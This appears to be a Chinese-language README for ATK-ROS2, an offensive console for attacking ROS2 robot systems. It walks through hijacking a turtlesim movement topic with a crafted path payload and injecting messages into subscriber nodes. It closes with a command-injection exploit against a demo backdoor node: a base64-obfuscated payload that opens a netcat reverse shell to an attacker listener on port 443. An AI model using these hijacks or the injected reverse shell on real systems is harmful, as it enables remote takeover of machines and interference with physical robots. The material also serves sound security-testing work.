地址:https://github.com/MartinxMax/ATK-ROS2
環境需求:Ubuntu 22.04 (Jammy) 或以上版本
這是一個 ROS2 滲透測試環境,設計成接近生產環境的攻擊盒子。
# 升級 pip
$ pip install --upgrade pip
# 安裝 Python 依賴
$ pip install -r requirements.txt --config-settings --confirm-license= --verbose
# 設定安裝腳本可執行
$ chmod +x ./install/ros2-install.sh
# 使用 sudo 執行 ROS2 安裝腳本
$ sudo ./install/ros2-install.sh
$ python3 atk_builder.py
這是一個載荷構造模組,用於劫持指定的 ROS2 節點、修改路徑以及操作執行流程。
它會生成 .atk
文件,可搭配 ATK-ROS2 使用。
$ python3 atk_ros2.py
執行 help
查看指令:
Global commands:
show - 顯示所有模組/板塊
search <keyword> - 搜索模組
use <board_name> - 選擇模組
node - 列出 ROS2 節點/話題
hijack - 劫持 geometry_msgs/msg/Twist 節點
exit / back - 返回上一級或退出
quit - 立即退出控制台
顯示全部可用模組/板塊
ATK-ROS2$ show
Available Boards
================================================================================
# Name Description
--------------------------------------------------------------------------------
0 action_msgs/msg/GoalInfo ROS2 Message Board
1 action_msgs/msg/GoalStatus ROS2 Message Board
<SNIP>...
194 visualization_msgs/msg/MeshFile ROS2 Message Board
195 visualization_msgs/msg/UVCoordinate ROS2 Message Board
進入指定模組:
ATK-ROS2[visualization_msgs/msg/UVCoordinate]$ info
顯示當前模組需要設定的參數:
ATK-ROS2[visualization_msgs/msg/UVCoordinate]$ set u 999
設置模組參數值:
ATK-ROS2[visualization_msgs/msg/UVCoordinate]$ node
列出與當前模組兼容的節點:
提示:在主頁執行
node
可以列出全部 ROS2 節點。
ATK-ROS2[visualization_msgs/msg/UVCoordinate]$ run
發射載荷:
ATK-ROS2[visualization_msgs/msg/UVCoordinate]$ back
返回上一級菜單:
ATK-ROS2$ hijack
劫持 ROS2 設備,例如路徑控制:
啟動 ATK-Builder 構造載荷
$ python3 atk_builder.py
中心作為起點,紅色圓圈作為參考半徑:
設置第一個點:
設置第二個點:
設置第三個點:
可根據需求設置無限個點,小烏龜會按順序移動。
保存 .atk
文件:
/home/map/Desktop/atk-ros2/payload.atk
在其他主機啟動 turtlesim 測試程式
$ ros2 run turtlesim turtlesim_node
啟動 ROS2 pentest box
$ python3 atk_ros2.py
列出全部節點:
ATK-ROS2$ node
進入 hijack 模組並選擇選項 1:
ATK-ROS2$ hijack
輸入 .atk
文件及控制目標節點:
? Select hijack mode: 1. Drawing coordinates hijack
? Enter path to .atk file /home/map/Desktop/atk-ros2/payload.atk
[+] Successfully loaded 6 points, sending Twist messages...
? Enter target node/topic (e.g., turtle1/cmd_vel) turtlesim/turtle1/cmd_vel
發送載荷:
小烏龜成功按照劫持路徑移動:
使用 std_msgs/msg/String
模組
ATK-ROS2$ use std_msgs/msg/String
ATK-ROS2[std_msgs/msg/String]$ node
設置目標節點及載荷
ATK-ROS2[std_msgs/msg/String]$ set node string_subscriber/string_topic
ATK-ROS2[std_msgs/msg/String]$ set data Pw3d!
ATK-ROS2[std_msgs/msg/String]$ run
受害端:
也可以從檔案發送內容:
ATK-ROS2[std_msgs/msg/String]$ set data file:/home/map/Desktop/atk-ros2/demo/msg.txt
ATK-ROS2[std_msgs/msg/String]$ run
受害端顯示:
Demo 中實作了一個存在安全漏洞的後門節點。
如果有興趣,也可以探索工業漏洞利用工具如 S-Clustr與 Tyran。
受害端:
上傳後門節點至受控主機:
$ cd ./demo/command_host_service
$ ./start.sh
攻擊者端:
ATK-ROS2$ node
$ sudo nc -lvnp 443
ATK-ROS2$ use std_msgs/msg/String
ATK-ROS2[std_msgs/msg/String]$ set node ping_service_subscriber/ping_ip
ATK-ROS2[std_msgs/msg/String]$ set data 127.0.0.1| echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDE5Mi4xNjguMC4xMTkgNDQzID4vdG1wL2Y=|base64 -d |bash
ATK-ROS2[std_msgs/msg/String]$ exploit
成功擊中目標: